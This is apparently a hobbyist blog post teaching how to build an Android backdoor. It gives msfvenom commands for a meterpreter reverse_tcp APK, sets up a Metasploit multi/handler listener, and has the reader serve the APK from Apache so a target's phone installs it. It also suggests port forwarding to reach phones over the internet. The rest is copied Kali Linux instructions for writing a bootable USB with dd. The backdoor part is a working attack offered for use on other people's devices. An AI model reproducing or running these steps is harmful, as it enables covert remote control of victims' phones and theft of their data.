How To Make A APK Backdoor To Hack An Android Phone

Making a Android Backdoor using Kali Linux (metasploit)

Hello guys! Welcome to my first post about exploit an android phone using kali linux. I think i just made it. Lets see how it works.

Terminal

  • if you’re a linux user then you are ready for this tutorial and if you’re a windows or OS X user then make a kali bootable usb drive to perform this tutorial. Now in your linux  terminal type:

msfvenom -p android/meterpreter/reverse_tcp lhost 192.168.43.112 lport 443 R > /root/backdoor.apk
  • Replace Lhost with your own ip (Type “ifconfig” in your terminal to know your ip)


  • Open an another terminal to load Metasploit console,type(it will take some time):

msfconsole

Set-up a listener


  • Now you’re in Metasploit console. Now use malti-handler by typing this:

use exploit/multi/handler

  • Now set a reverse payload:

payload android/meterpreter/reverse_tcp
  • To set lhost type:

set lhost 192.168.43.112  
Don’t forget to replace lhost with your own ip.

  • To set-up lport type:
set lport 443

Exploit


  • Now we ready to exploit to listen to the backdoor by typing:

exploit” 

Send apk from your pc to the target or an android phone by using apache server. This hack is only for  the local networks.You can also hack android on WAN i.e. through Internet by using your Public/External IP in the LHOST and by port forwarding (ask me about port forwarding if you have problems in the comment section)

Apache Server 

  • Copy the backdoor.apk file from your root directory to  /var/www/html folder.
And open an terminal and type “service apache2 start”. Now open browser in your targert or android phone and type “192.168.43.112/backdoor.apk“. Replace ip with your ip address. It will be automatically downloaded in your android phone and after download the apk file install it in the target system.

MSFconsole

Kali Linux (Live) Boot on usb using win32 disk imager

Kali Bootable USB drive

 What You’ll Need

  • If you’re running under Windows, you’ll need to download the Win32 Disk Imager(click here) utility. On Linux and OS X, you can use the dd command, which is pre-installed on those platforms.
  •  A verified copy of the appropriate ISO image of the latest Kali build image for the system you’ll be running it on: see the details on downloading official Kali Linux images.(click here to download)
  •  A USB thumb drive, 4GB or larger. (Systems with a direct SD card slot can use an SD card with similar capacity. The procedure is identical.)

Kali Linux Live USB Install Procedure

 

 Plug your USB drive into an available USB port on your Windows PC, note which drive designator (e.g. “F:\”) it uses once it mounts, and launch the Win32 Disk Imager software you downloaded.
 Choose the Kali Linux ISO file to be imaged and verify that the USB drive to be overwritten is the correct one. Click the “Write” button.
 Once the imaging is complete, safely eject the USB drive from the Windows machine. You can now use the USB device to boot into Kali Linux.

Creating a Bootable Kali USB Drive on Linux

Creating a bootable Kali Linux USB key in a Linux environment is easy. Once you’ve downloaded and verified your Kali ISO file, you can use the dd command to copy it over to your USB stick using the following procedure. Note that you’ll need to be running as root, or to execute the dd command with sudo. The following example assumes a Linux Mint 17.1 desktop — depending on the distro you’re using, a few specifics may vary slightly, but the general idea should be very similar.
WARNING: Although the process of imaging Kali Linux onto a USB drive is very easy, you can just as easily overwrite a disk drive you didn’t intend to with dd if you do not understand what you are doing, or if you specify an incorrect output path. Double-check what you’re doing before you do it, it’ll be too late afterwards.

Consider yourself warned.
 First, you’ll need to identify the device path to use to write the image to your USB drive. Without the USB drive inserted into a port, execute the command 
sudo fdisk -l

at a command prompt in a terminal window (if you don’t use elevated privileges with fdisk, you won’t get any output). You’ll get output that will look something (not exactly) like this, showing a single drive — “/dev/sda” — containing three partitions (/dev/sda1, /dev/sda2, and /dev/sda5):

https://docs.kali.org/wp-content/uploads/2013/01/Parallels-DesktopScreenSnapz007.png
Now, plug your USB drive into an available USB port on your system, and run the same command, “sudo fdisk -l” a second time. Now, the output will look something (again, not exactly) like this, showing an additional device which wasn’t there previously, in this example “/dev/sdb”, a 16GB USB drive:

 Proceed to (carefully!) image the Kali ISO file on the USB device. The example command below assumes that the ISO image you’re writing is named “kali-linux-2017.1-amd64.iso” and is in your current working directory. The blocksize parameter can be increased, and while it may speed up the operation of the dd command, it can occasionally produce unbootable USB drives, depending on your system and a lot of different factors. The recommended value, “bs=512k”, is conservative and reliable.
 dd if=kali-linux-2017.1-amd64.iso of=/dev/sdb bs=512k
Imaging the USB drive can take a good amount of time, over ten minutes or more is not unusual, as the sample output below shows. Be patient!
The dd command provides no feedback until it’s completed, but if your drive has an access indicator, you’ll probably see it flickering from time to time. The time to dd the image across will depend on the speed of the system used, USB drive itself, and USB port it’s inserted into. Once dd has finished imaging the drive, it will output something that looks like this:
5823+1 records in
5823+1 records out 
3053371392 bytes (3.1 GB) copied, 746.211 s, 4.1 MB/s
That’s it, really! You can now boot into a Kali Live / Installer environment using the USB device.

Creating a Bootable Kali USB Drive on OS X

OS X is based on UNIX, so creating a bootable Kali Linux USB drive in an OS X environment is similar to doing it on Linux. Once you’ve downloaded and verified your chosen Kali ISO file, you use dd to copy it over to your USB stick.
WARNING: Although the process of imaging Kali on a USB drive is very easy, you can just as easily overwrite a disk drive you didn’t intend to with dd if you do not understand what you are doing, or if you specify an incorrect output path. Double-check what you’re doing before you do it, it’ll be too late afterwards.
 Consider yourself warned.

  1. Without the USB drive plugged into the system, open a Terminal window, and type the command diskutil list at the command prompt.
  2. You will get a list of the device paths (looking like /dev/disk0, /dev/disk1, etc.) of the disks mounted on your system, along with information on the partitions on each of the disks.                                                                  TerminalScreenSnapz010          
  3.  Plug in your USB device to your Apple computer’s USB port and run the command diskutil list a second time. Your USB drive’s path will most likely be the last one. In any case, it will be one which wasn’t present before. In this example, you can see that there is now a /dev/disk6 which wasn’t previously present

TerminalScreenSnapz011 

  • Unmount the drive (assuming, for this example, the USB stick is /dev/disk6 — do not simply copy this, verify the correct path on your own system!): 
diskutil unmount /dev/disk6
    • Proceed to (carefully!) image the Kali ISO file on the USB device. The following command assumes that your USB drive is on the path /dev/disk6, and you’re in the same directory with your Kali Linux ISO, which is named “kali-linux-2017.1-amd64.iso”:
      sudo dd if=kali-linux-2017.1-amd64.iso of=/dev/disk6 bs=1m

      Note: Increasing the blocksize (bs) will speed up the write progress, but will also increase the chances of creating a bad USB stick. Using the given value on OS X has produced reliable images consistently.

      Imaging the USB drive can take a good amount of time, over half an hour is not unusual, as the sample output below shows. Be patient!
      The dd command provides no feedback until it’s completed, but if your drive has an access indicator, you’ll probably see it flickering from time to time. The time to dd the image across will depend on the speed of the system used, USB drive itself, and USB port it’s inserted into. Once dd has finished imaging the drive, it will output something that looks like this:
      2911+1 records in
      2911+1 records out
      3053371392 bytes transferred in 2151.132182 secs (1419425 bytes/sec)
      And that’s it! You can now boot into a Kali Live / Installer environment using the USB device.
      To boot from an alternate drive on an OS X system, bring up the boot menu by pressing the Option key immediately after powering on the device and select the drive you want to use.

      For more information, see Apple’s knowledge base.